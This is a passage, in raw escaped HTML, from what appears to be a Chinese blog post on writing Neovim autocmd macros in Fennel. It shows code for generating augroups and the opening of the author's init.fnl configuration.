quote&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一下就好。具体使用情况见下面&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;M.augroup&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;group#&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;fennel&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;λ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; apply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;single&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;f x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  &amp;quot;For autocmd&amp;#39;s event &amp;amp; pattern, generalised&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;sequence&lt;&#x2F;span&gt;&lt;span&gt;? &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;icollect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;_ y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;ipairs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;        (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;f y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;      (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;f x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;λ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; tostring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;single&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  &amp;quot;For autocmd&amp;#39;s event &amp;amp; pattern&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;apply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;single&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; tostring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;λ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; gen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmds&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;group xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  &amp;quot;Generate a list of nvim_create_autocmd within group&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;icollect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;_ autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;ipairs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; xs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;tostring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;single&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;          pattern&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;tostring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;single&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;          once&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;sym&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :++once)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;          fn-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; once&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 5 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;          fn-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;fn&lt;&#x2F;span&gt;&lt;span&gt;? &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;fn-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :callback :command)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;          opts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; pattern&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; once&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; fn-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;to&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;string&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;fn fn-or-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)}&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.api.nvim_create_autocmd&lt;&#x2F;span&gt;&lt;span&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;event&lt;&#x2F;span&gt;&lt;span&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;opts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)))&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;λ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; M.augroup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;  &amp;quot;Call nvim_create_autocmd with automatic group&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;tostring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;select&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; ...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        autocmds&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;select&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; ...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)]]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.api.nvim_create_augroup&lt;&#x2F;span&gt;&lt;span&gt; ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;:clear&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;})]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       ,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;gen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmds&lt;&#x2F;span&gt;&lt;span&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;group&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; autocmds&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们就能用如下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码去生成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那特别死板的代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;fennel&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;augroup BFG&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmd FileType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;c cpp verilog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.bo.commentstring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;&#x2F;&#x2F; %s&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmd BufWritePre&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;*&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;init.fnl&quot;&gt;init.fnl&lt;&#x2F;h2&gt;
&lt;p&gt;我只是浅显地接触了一点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Neovim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel。在这里贴出我的配置，只是因为按照文章的发展来看应该贴一下使用效果了。如果你有什么建议，欢迎在评论区留言。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;fennel&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import-macros&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; noremap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;                :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; nnoremap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;                :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; cnoremap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;                :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; tnoremap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;                :let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; let=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;                :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; turn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;on&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;                :set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; set=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;                : set^&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;                : set+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;                : set-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;                :augroup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; with&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;augroup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :macros)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; For table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; expr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; silent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; [leader key]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; Must define it before telescope config&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
